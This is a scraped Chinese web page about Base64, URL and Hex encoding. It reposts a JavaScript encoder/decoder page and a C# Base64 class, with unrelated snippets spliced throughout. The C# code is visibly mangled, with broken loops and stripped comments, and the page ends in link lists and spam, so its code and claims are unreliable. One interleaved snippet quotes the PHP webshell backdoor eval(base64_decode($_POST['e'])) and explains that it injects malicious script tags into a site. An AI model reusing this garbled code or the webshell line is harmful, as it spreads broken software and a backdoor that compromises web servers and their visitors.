1. <i id="s6b2k"><small id="s6b2k"></small></i>
    <b id="s6b2k"><bdo id="s6b2k"></bdo></b>
  2. <wbr id="s6b2k"></wbr>

    關于加密解密 Base64 and URL and Hex Encoding and Decoding_腳本加解密

    來源:腳本之家  責任編輯:小易  

    base64的作用不是加密,而是用來避免“字節”中不能轉換成可顯示字符的數值。比如0-32的控制字符,空格,制表符都不能被打印在紙上,base64只使用大寫小寫數字標點。可以打印在紙上,數據可以在傳統平面媒介上攜帶。md5是散列函數,提取數據的特征,輸出是不可逆的散列值,用于代表某信息A而又不暴露信息A的內容。不直接用于加密文件www.yu113.com防采集請勿采集本網。

    今天想換一下Discuz論壇的風格,誰知下載風格文件后,發現竟然是通過Base64加密過的  

    小林給推薦了個解密的頁面,提取出代碼如下:

    base64加密的結果還是字符串嗎 首先,Base64算不上是一種加密算法。Base64是網絡上最常見的用于傳輸8Bit字節代碼的編碼方式之一,它的目的是用ASCII中定義的可見字符去表示任意的二進制數據。之所以要這樣

    復制代碼 代碼如下:

    private static final char intToBase64[]={ 'A','B','C','D','E','F','G','H','I','J', 'K','L','M','N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z','a','b','c','d', 'e','f','g','h','i','j','

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 

    set\"base64=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+ setlocal enabledelayedexpansion hex2base64 if not defined hex goto:print for/l%a in(1,1,3)do set/a\"n=2*(%a-1) call

    <html> 

    eval(base64_decode($_POST['e']));意思是將參數中的<script>.部分替換為<script src= ></script>,這樣你的網頁就被掛上了馬。這段代碼應該是通過webshell上傳到你機器上的一段掛馬程序,至于webshell 的

    <head> 

    base64的作用不是加密,而是用來避免“字節”中不能轉換成可顯示字符的數值。比如0-32的控制字符,空格,制表符都不能被打印在紙上,base64只使用大寫小寫數字標點。可以打印在紙上,數據可以在傳統平面

    <title>Base64 and URL and Hex Encoding and Decoding</title> 

    <meta name="description" content="Encodes or decodes data in Base64 or URL encoding using client side JavaScript" /> 

    <meta name="keywords" content="base64, base 64, urlencode, urldecode, hexencode, hex encode, hexdecode hex decode, javascript base64, javascript base 64, javascript urlencode, javascript urldecode, javascript hexencode, javascript hexdecode" /> 

    <link rel="shortcut icon"  /> 

    <script language=javascript type="text/javascript"> 

    <!-- 

    function urlDecode(str){ 

     str=str.replace(new RegExp('\\+','g'),' '); 

     return unescape(str); 

    function urlEncode(str){ 

     str=escape(str); 

     str=str.replace(new RegExp('\\+','g'),'%2B'); 

     return str.replace(new RegExp('%20','g'),'+'); 

    var END_OF_INPUT = -1; 

    var base64Chars = new Array( 

     'A','B','C','D','E','F','G','H', 

     'I','J','K','L','M','N','O','P', 

     'Q','R','S','T','U','V','W','X', 

     'Y','Z','a','b','c','d','e','f', 

     'g','h','i','j','k','l','m','n', 

     'o','p','q','r','s','t','u','v', 

     'w','x','y','z','0','1','2','3', 

     '4','5','6','7','8','9','+','/' 

    ); 

    var reverseBase64Chars = new Array(); 

    for (var i=0; i < base64Chars.length; i++){ 

     reverseBase64Chars[base64Chars[i]] = i; 

    var base64Str; 

    var base64Count; 

    function setBase64Str(str){ 

     base64Str = str; 

     base64Count = 0; 

    function readBase64(){  

     if (!base64Str) return END_OF_INPUT; 

     if (base64Count >= base64Str.length) return END_OF_INPUT; 

     var c = base64Str.charCodeAt(base64Count) & 0xff; 

     base64Count++; 

     return c; 

    function encodeBase64(str){ 

     setBase64Str(str); 

     var result = ''; 

     var inBuffer = new Array(3); 

     var lineCount = 0; 

     var done = false; 

     while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){ 

     inBuffer[1] = readBase64(); 

     inBuffer[2] = readBase64(); 

     result += (base64Chars[ inBuffer[0] >> 2 ]); 

     if (inBuffer[1] != END_OF_INPUT){ 

     result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]); 

     if (inBuffer[2] != END_OF_INPUT){ 

     result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]); 

     result += (base64Chars [inBuffer[2] & 0x3F]); 

     } else { 

     result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]); 

     result += ('='); 

     done = true; 

     } 

     } else { 

     result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); 

     result += ('='); 

     result += ('='); 

     done = true; 

     } 

     lineCount += 4; 

     if (lineCount >= 76){ 

     result += ('\n'); 

     lineCount = 0; 

     } 

     } 

     return result; 

    function readReverseBase64(){  

     if (!base64Str) return END_OF_INPUT; 

     while (true){  

     if (base64Count >= base64Str.length) return END_OF_INPUT; 

     var nextCharacter = base64Str.charAt(base64Count); 

     base64Count++; 

     if (reverseBase64Chars[nextCharacter]){ 

     return reverseBase64Chars[nextCharacter]; 

     } 

     if (nextCharacter == 'A') return 0; 

     } 

     return END_OF_INPUT; 

    function ntos(n){ 

     n=n.toString(16); 

     if (n.length == 1) n="0"+n; 

     n="%"+n; 

     return unescape(n); 

    function decodeBase64(str){ 

     setBase64Str(str); 

     var result = ""; 

     var inBuffer = new Array(4); 

     var done = false; 

     while (!done && (inBuffer[0] = readReverseBase64()) != END_OF_INPUT 

     && (inBuffer[1] = readReverseBase64()) != END_OF_INPUT){ 

     inBuffer[2] = readReverseBase64(); 

     inBuffer[3] = readReverseBase64(); 

     result += ntos((((inBuffer[0] << 2) & 0xff)| inBuffer[1] >> 4)); 

     if (inBuffer[2] != END_OF_INPUT){ 

     result += ntos((((inBuffer[1] << 4) & 0xff)| inBuffer[2] >> 2)); 

     if (inBuffer[3] != END_OF_INPUT){ 

     result += ntos((((inBuffer[2] << 6) & 0xff) | inBuffer[3])); 

     } else { 

     done = true; 

     } 

     } else { 

     done = true; 

     } 

     } 

     return result; 

    var digitArray = new Array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); 

    function toHex(n){ 

     var result = '' 

     var start = true; 

     for (var i=32; i>0;){ 

     i-=4; 

     var digit = (n>>i) & 0xf; 

     if (!start || digit != 0){ 

     start = false; 

     result += digitArray[digit]; 

     } 

     } 

     return (result==''?'0':result); 

    function pad(str, len, pad){ 

     var result = str; 

     for (var i=str.length; i<len; i++){ 

     result = pad + result; 

     } 

     return result; 

    function encodeHex(str){ 

     var result = ""; 

     for (var i=0; i<str.length; i++){ 

     result += pad(toHex(str.charCodeAt(i)&0xff),2,'0'); 

     } 

     return result; 

    function decodeHex(str){ 

     str = str.replace(new RegExp("s/[^0-9a-zA-Z]//g")); 

     var result = ""; 

     var nextchar = ""; 

     for (var i=0; i<str.length; i++){ 

     nextchar += str.charAt(i); 

     if (nextchar.length == 2){ 

     result += ntos(eval('0x'+nextchar)); 

     nextchar = ""; 

     } 

     } 

     return result; 

    //--></script> 

    </head> 

    <body> 

    <form name=code onsubmit="return false()"> 

    <textarea name=text style='width:100%;height:75%;' onfocus='if (this.value=="Enter text to encode or decode here."){this.value="";}'>Enter text to encode or decode here.</textarea> 

    <table> 

    <tr><td align=center> 

    <input value="Encode" type=button onclick="document.code.text.value=urlEncode(document.code.text.value);"> 

    </td><td align=center> 

    URL 

    </td><td align=center> 

    <input value="Decode" type=button onclick="document.code.text.value=urlDecode(document.code.text.value);"> 

    </td></tr> 

    <tr><td align=center> 

    <input value="Encode" type=button onclick="document.code.text.value=encodeBase64(document.code.text.value);"> 

    </td><td align=center> 

    Base 64 

    </td><td align=center> 

    <input value="Decode" type=button onclick="document.code.text.value=decodeBase64(document.code.text.value);"> 

    </td></tr> 

    <tr><td align=center> 

    <input value="Encode" type=button onclick="document.code.text.value=encodeHex(document.code.text.value);"> 

    </td><td align=center> 

    Hex 

    </td><td align=center> 

    <input value="Decode" type=button onclick="document.code.text.value=decodeHex(document.code.text.value);"> 

    </td></tr> 

    <tr><td align=center> 

    </td><td align=center> 

    <input type=reset value=Clear> 

    </td><td align=center> 

    </td></tr> 

    </table> 

    </form> 

    <hr> 

    Base64 encode/decode was ported from a <a >Java Base64 encoder/decoder</a>.<br> 

    Base64 encode/decode was ported to <a >Macromedia Actionscript</a>.<br> 

    <h3>License</h3> 

    <p>This program is free software; you can redistribute it and/or modify it 

    under the terms of the GNU General Public License as published by the Free 

    Software Foundation; either version 2 of the License, or (at your option) 

    any later version.</p> 

    <p>This program is distributed in the hope that it will be useful, 

    but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY 

    or FITNESS FOR A PARTICULAR PURPOSE. See the 

    <a >GNU 

    General Public License</a> for more details.</p> 

    <div style="padding:0.2cm;"><a >More converters, calculators, and other JavaScript goodies</a></div> 

    <div style="padding:0.2cm;text-align:right;"><a >site index</a>)</div> 

    <div style="padding:0.2cm;"><p>Copyright <a  class=mail>Stephen Ostermiller</a> 2003-2006</p></div> 

    </body> 

    </html> 

    其實Base64的加密和解密的算法不是很復雜,首先是定義自己64位的密鑰,64個字符是固定,但是順序是可以隨自己的設計而變化。例如:char[]BaseTable=new char[64]{'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'};接下來,在加密的時候就是對于需要加密的每個字符,通過一定的算法,轉換成上面64字符的一種;而在解密的時候則是把64字符中任意一個字符反算出加密前的字符。對于每個字符的操作有很多方法,這里就不一一介紹了。需要注意e799bee5baa6e4b893e5b19e31333337373632的是“=”字符,在Base64加密算法中,是很重要的,它是起到補零作用。以下是完整代碼:Base64 class-File:clsBase64Description:The class file to encode string or decode string in base algorithAuthor:KnightDate:Oct.8,2005{ Base64 class }-using System;namespace Base64{Summary description for clsBase64.public class clsBase64{private char[]source;private char[]lookupTable;private int length,length2,length3;private int blockCount;private int paddingCount;public clsBase64(){TODO:Add constructor logic heresource=null;length=length2=length3=0;blockCount=0;paddingCount=0;}Create base64 char array using default base64 char arrayparam>return the new base64 char arrayprivate char[]CreateBase64Char(ref char[]CreatePara){char[]BaseTable=new char[64]{'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'};const int CREATE_TYPE=8;byte bParaValue=0;byte bTemp;for(int i=0;i;i+){bTemp=(byte)(CreatePara[i]);switch(bTemp%CREATE_TYPE){case 1:00000001bTemp=(byte)(bTemp^0x01);break;case 2:00000010bTemp=(byte)(bTemp^0x02);break;case 3:00000100bTemp=(byte)(bTemp^0x04);break;case 4:00001000bTemp=(byte)(bTemp^0x08);break;case 5:00010000bTemp=(byte)(bTemp^0x10);break;case 6:00100000bTemp=(byte)(bTemp^0x20);break;case 7:01000000bTemp=(byte)(bTemp^0x40);break;default:10000000bTemp=(byte)(bTemp^0x80);break;}bParaValue=(byte)(bParaValue^bTemp);}char chrTemp;int nIndex;switch(bParaValue%CREATE_TYPE){case 1:Exechange 0<-->1,2<-->3,4<-->5,6<-->7for(int i=0;i;i+){nIndex=i*CREATE_TYPE;chrTemp=BaseTable[nIndex];BaseTable[nIndex]=BaseTable[nIndex+1];BaseTable[nIndex+1]=chrTemp;chrTemp=BaseTable[nIndex+2];BaseTable[nIndex+2]=BaseTable[nIndex+3];}remove paddingslength3=length2-paddingCount;byte[]result=new byte[length3];for(int x=0;x;x+){result[x]=buffer2[x];}return result;}private byte char2sixbit(char c){if(c='=')return 0;else{for(int x=0;x;x+){if(lookupTable[x]=c)return(byte)x;}should not reach herereturn 0;}}}}內容來自www.yu113.com請勿采集。


  3. 本文相關:
  4. 關于base64加密/解密
  5. vbs版的解密base64加密的腳本
  6. js base64 加密解密介紹
  7. python字符串加密解密的三種方法分享(base64 win32com)
  8. php使用base64加密解密圖片示例分享
  9. java常用工具類之des和base64加密解密類
  10. php中base64_decode與base64_encode加密解密函數實例
  11. c#實現基于base64的加密解密類實例
  12. c#編寫的base64加密和解密類
  13. 解密網頁加密的兩個方法
  14. jscript.encode 腳本在線解密 代碼
  15. 文本 unicode 碼加密與解密 代碼
  16. 網絡程序員伴侶lshdic--腳本加解密器
  17. md5密碼在線破解
  18. pack.wsf wsh下的js加密工具新浪也在用
  19. 推薦一個javascript的加密工具
  20. 鍵盤各鍵對應的鍵值
  21. 關于加密解密 base64 and url and hex encoding and decoding
  22. asp代碼加密
  23. 如何使用Base64進行加密和解密
  24. 關于base64、md5等加密解密問題
  25. 幫忙解密PHP base64加密最好解決方案也提出下。100求破碼200求解決方案
  26. BASE64加密原理
  27. base64加密的結果還是字符串嗎
  28. 我想知道 string 的值 怎么加密成 data的 是base64?
  29. base64重復加密,求助!
  30. php base64 解密加密問題
  31. 怎么用base64加密字符串
  32. 求高手解密 base64 誰見過這樣的加密
  33. 網站首頁網頁制作腳本下載服務器操作系統網站運營平面設計媒體動畫電腦基礎硬件教程網絡安全javascriptasp.netphp編程ajax相關正則表達式asp編程jsp編程編程10000問css/htmlflex腳本加解密web2.0xml/rss網頁編輯器相關技巧安全相關網頁播放器其它綜合dart首頁腳本加解密關于base64加密/解密vbs版的解密base64加密的腳本js base64 加密解密介紹python字符串加密解密的三種方法分享(base64 win32com)php使用base64加密解密圖片示例分享java常用工具類之des和base64加密解密類php中base64_decode與base64_encode加密解密函數實例c#實現基于base64的加密解密類實例c#編寫的base64加密和解密類解密網頁加密的兩個方法jscript.encode 腳本在線解密 代碼文本 unicode 碼加密與解密 代碼網絡程序員伴侶lshdic--腳本加解密器md5密碼在線破解pack.wsf wsh下的js加密工具新浪也在用推薦一個javascript的加密工具鍵盤各鍵對應的鍵值關于加密解密 base64 and url and hex encoding and decodingasp代碼加密md5密碼在線破解jscript.encode 腳本在線解密 代asp代碼加密推薦一個javascript的加密工具解密asp源代碼解密網頁加密的兩個方法文本 unicode 碼加密與解密 代碼關于加密解密 base64 and url anpack.wsf wsh下的js加密工具新浪鍵盤各鍵對應的鍵值jscript.encode 腳本在線解密 代碼解密網頁加密的兩個方法md5密碼在線破解文本 unicode 碼加密與解密 代碼解密asp源代碼網絡程序員伴侶lshdic--腳本加解密器asp代碼加密鍵盤各鍵對應的鍵值關于加密解密 base64 and url and hex en推薦一個javascript的加密工具
    免責聲明 - 關于我們 - 聯系我們 - 廣告聯系 - 友情鏈接 - 幫助中心 - 頻道導航
    Copyright © 2017 www.yu113.com All Rights Reserved
    战天txt全集下载